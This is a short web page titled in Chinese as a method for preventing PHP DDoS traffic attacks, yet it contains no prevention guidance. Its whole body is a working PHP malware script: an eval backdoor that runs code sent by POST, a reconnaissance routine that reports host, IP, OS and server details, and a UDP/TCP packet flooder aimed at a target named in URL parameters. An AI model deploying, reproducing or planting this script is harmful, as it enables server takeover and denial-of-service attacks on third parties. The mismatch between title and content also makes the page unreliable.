phpddos流量攻击预防方法

<?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET[\’http\’]; $rand = $_GET[\’exit\’]; $exec_time = $_GET[\’time\’]; if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) { if(StrLen($_GET[\’rat\’])<>0) { echo $_GET[\’rat\’].$_SERVER[\”HTTP_HOST\”].\”|\”.GetHostByName($_SERVER[\’SERVER_NAME\’]).\”|\”.php_uname().\”|\”.$_SERVER[\’SERVER_SOFTWARE\’].$_GET[\’rat\’]; exit; } echo \”Php 2012 Terminator\”; exit; } for($i=0;$i<65535;$i++) { $out .= \”X\”; } //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center $max_time = time()+$exec_time; if($rand==53) while(1) { $packets++; if(time() > $max_time) { break; } $fp = fsockopen(\”udp://$http\”, $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } else if($rand==500) while(1) { $packets++; if(time() > $max_time){ break; } $fp = pfsockopen(\”udp://$http\”, $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } else while(1) { $packets++; if(time() > $max_time){ break; } $fp = pfsockopen(\”tcp://$http\”, $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } ?>